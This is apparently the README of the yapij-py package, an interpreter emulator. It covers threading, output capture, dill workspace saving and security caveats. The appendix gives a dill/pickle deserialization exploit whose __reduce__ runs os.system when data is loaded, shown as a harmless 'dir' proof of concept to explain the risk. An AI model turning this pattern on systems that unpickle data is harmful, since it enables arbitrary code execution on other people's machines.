Package: yapij-py
yapij-python: Python-side ofyapijpackage.Implementation DetailsThere are two key challenges that one faces when implementing an interpreter emulator:Catching and processing program output.Interrupting code before it is completed.At the same time, we'd also like:The ability to send other commands to the python processwhile code is running.For example, save a workspace while code is running.Check on the health of the process with a heartbeat.The main ingredients of the solution are:Multi-threading for a main interface, the interpreter, and a heartbeat.asyncioscheduling off the main loop.Context managers that overwritesys.stdoutandsys.stderrwith an emulator.Appropriate placement of the context managers are key!Misc. DetailsPlacement of context managersA context manager that is called within a thread will "bubble up" to parent threads so long as it is running. See theappendix example. (However, there is no "bubbling down" from parent to child threads.)This is problematic in our context because the threads will run as long as the context. (Therefore,Thread.joinis not an option.)Therefore, we placecatch_output- the main context manager that formatsprintstatements, exceptions, andsys.stdoutin general - in the child threadExecSession. This thread executes commands sent to the editor.All such similar statements in the main thread are also handled bycatch_outputdue to the "bubbling up" behavior.Rejected AlternativesUse standardexecandrunpyto excute input:Built-in modulecodeprovidesInteractiveInterpreterandInteractiveConsoleclasses for doing just this.Running code on instances of these objects still blocks. Therefore, does nothing for theKeyboardInterruptproblem.Also do nothing for the last line print.Known Issues and LimitationsExecutionThreadingThe session interpreter runs on its own thread. Therefore, certain applications may not run as expected.For example, thesignalmodule cannot run on a non-main thread.Consider flipping around so that "main" thread isExecSession.sys.stdoutandsys.stderrIn order to communicate with the node process,sys.stdoutandsys.stderrare overridden with an instance of a custom classZMQIOWrapper.The custom class is built to emulate the classes underlyingsys.stdout. In particular, it inherits classio.TextIOWrapper.However, full equivelance is not gauranteed at this time.Moreover, attempts to re-routesys.stdoutfrom within the interpreter may not work as expected or may fail to revert as expected.SecurityThe point of this module is to permitarbitrary code execution. It is by no means secure.Workspace ManagerThe workspace manager currently saves objects using thedillmodule, which is based onpickleWe usedillbecause it allows us to preserve the state of a huge range of objects.The problem is that, if it is possible to pickle anything, then it will also be possible to pickle malicious code.See the useful articles byNicolas LaraandKevin London.An example of a maliciousdillexploit can be found in theappendixThe current approach is to add a key to each file following the approach outlinedhere.This will raise a flag and fail to load if the generated key does not match the data.It cannot protect in cases where someone malicious correctly decodes then re-encodes a file (or puts malicious code in the file to start).Thus, this is best thought of as a way of being protected from code that might be naively injected into the pickled workspace when it is transferred between two known users (i.e. via a poorly-executedman-in-the-middle attack.)Further refinements might included usingpickletools.disto inspect files for red flags. (See theexamplecode for what that spits out.)This will still never be completely secure.Jupyter Notebook stores keys in a separatedb.DocsSome code referencesWhere would it be stored on this module? How is db started?A "Safe Mode"?It is really hard to do anything like a sandbox for python.In Python 2.3rexecwas disabled due to "various known and not readily fixable security holes."Therefore, we take the stance that - instead of trying to offer security some of the time - we will always allow arbitrary execution in the hopes that this keeps users vigilant.Security Best PracticesBest practices for yapij are identical to best practices for running any python code:Never load a workspace from someone that you do not know and trust.Never install a python package that you do not know or trust.PackagingPackaging is carried out withPyPRI.A new version is compiled by a job (using.gitlab-ci.yaml) every time that the a new commit is pushed with version (I think it depends on a tag being added.)Go to CLI to see the jobs.Usepipreqs yapijto makerequirements.txtDependenciesThe main non-standard dependencies are:pyzmq/zmq: "Ã˜MQ is a lightweight and fast messaging implementation."msgpack_python/msgpack: "MessagePack is an efficient binary serialization format. It lets you exchange data among multiple languages like JSON. But it's faster and smaller."dill: "dill extends pythonâ€™s pickle module for serializing and de-serializing python objects to the majority of the built-in python types."We also provide custom serialization forNumPyarrays andPandasdataframes. Thus, these become dependencies as well.AboutContactMichael Wooleymichael.wooley@us.gt.commichaelwooley.github.ioLicenseUNLICENSED(Sorry, not my choice.)AppendixAdillExploitDrawn fromKevin London'sDangerous Python Functions, Part 2importosimportdillimportpickletools# Exploit that we want the target to unpickleclassExploit(object):def__reduce__(self):# Note: this will only list files in your directory.# It is a proof of concept.return(os.system,('dir',))defserialize_exploit():shellcode=dill.dumps({'e':Exploit(),'s':dill.dumps})returnshellcodedefinsecure_deserialize(exploit_code):dill.loads(exploit_code)if__name__=='__main__':shellcode=serialize_exploit()print('~'*80,'IF I CAN SEE YOUR FILES I CAN USUALLY DELETE THEM AS WELL','~'*80,sep='\n')insecure_deserialize(shellcode)print('~'*80,'WHAT IF WE MADE USE OF SHELL CODE TO LOOK FOR RED FLAGS LIKE "REDUCE"?','~'*80,sep='\n')pickletools.dis(shellcode)Context managers in a threadimportthreadingimportosimportsysimportcontextlibimportcopy# Originalprint_original=copy.copy(__builtins__.print)defprint_modified(*objects,sep=' ',end='\n',file=sys.stdout,flush=True):returnprint_original('[Context]',*objects,sep=sep,end=end,file=file,flush=flush)@contextlib.contextmanagerdefcatch_output():try:__builtins__.print=print_modifiedyieldfinally:__builtins__.print=print_originalclassWorkerThread(threading.Thread):defrun(self):withcatch_output(False):time.sleep(3)print('Inside Context')time.sleep(3)print('Outside Context')w=WorkerThread()w.start()print('Yep')Will return something like:[Context] Yep
[Context] Inside Context
Outside Context